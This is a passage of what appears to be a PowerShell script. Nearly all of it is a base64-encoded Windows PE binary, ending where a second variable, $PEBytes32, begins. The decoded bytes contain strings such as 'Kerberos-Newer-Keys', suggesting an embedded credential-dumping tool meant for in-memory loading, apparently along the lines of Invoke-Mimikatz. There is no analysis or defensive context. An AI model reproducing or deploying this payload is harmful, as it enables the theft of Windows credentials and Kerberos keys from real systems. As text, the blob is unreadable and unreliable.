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h4KHoofCh+KEAogiiIKI4okCiWKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4o4CjiKOQo5ijoKOoo7CjuKPAo8ij0KPgo/ijAKQYpDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNik4KTopPCk+KQApQilEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKW4pdCl2KXgpeil8KUIpiCmKKYwpjimQKZIplCmWKZgpmimcKaIpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnCKcQpxinIKcwpzinSKdQp2CnaKd4p4CnmKegp6insKe4p8CnyKfQp9in4Kfop/Cn+KcAqAioEKgYqDCo4KjwqPioAKkQqRipMKk4qVCpWKlwqXipgKmQqZipoKmwqbipwKnQqdip8Kn4qRCqGKowqjiqUKpYqnCqeKqQqpiqsKq4qsCq0KrYquCq8Kr4qhCrGKswqzirQKtIq1CrWKtgq2ircKt4q5CrsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisQKxIrGCsaKxwrICskKygrLCswKzQrOCs8KwArQitEK0YrSCtKK0wrTitQK1IrVCtWK1grWitcK14rYCtiK2QrZitoK2orbCtuK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K4ArwivEK8YryCvKK8wrzivQK9Ir1CvWK9gr2ivcK94r4ivkK+Yr6CvqK+wr7ivwK/Ir9Cv2K/gr+iv8K/4rwAAACACACgAAAAAoAigEKAYoCCgKKAwoDigQKBIoFCgWKBgoHCgeKCAoABgAwCcAAAAEKAYoCigIKMoozijgKPQoyCkYKRopHikwKQApQilGKWApdClIKZgpmimeKawprimyKYQp1CnWKdop5inoKeop8CnEKhgqLCoAKlAqVip0KkgqnCqwKoQq2CroKu4q/Cr+KsIrGCssKwArVCtoK3wrTCuOK5ArkiuUK5YrmCuaK5wrniugK6IrpCumK7grjCvgK/QrwBwAwDEAAAAIKBgoGig4KDwoDChQKGAoZCh0KHgoSCiMKLAotCiEKMgo2CjcKOwo8Cj8KP4owCkCKQQpBikIKRwpMCkEKVwpYClsKW4pcClyKXQpdil4KXopTinSKeIp5in2KfopyioOKh4qIioyKjYqBipKKloqXipuKnIqQiqGKpYqmiqqKq4qviqCKtIq1irmKuoq+ir+Ks4rEisiKyYrNis6KworTiteK2Ircit2K0YriiuaK54rgCvUK+gr+CvAAAAgAMAoAAAABCgGKAgoCigMKA4oFCgYKCgoLCg8KAAoTChOKFAoUihUKFYoWChaKFwoeCh8KEwokCigKKQotCi4KJAo1CjkKOgo+CjMKSApAClEKVQpWCloKWwpfClAKY4pnCmeKaApoimkKaYpqCmqKawprimwKbIptCm2Kbgpuim8Kb4pgCnEKcYpyCnKKcwpzinQKdIp1CnWKdgp2inAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + $PEBytes32 = 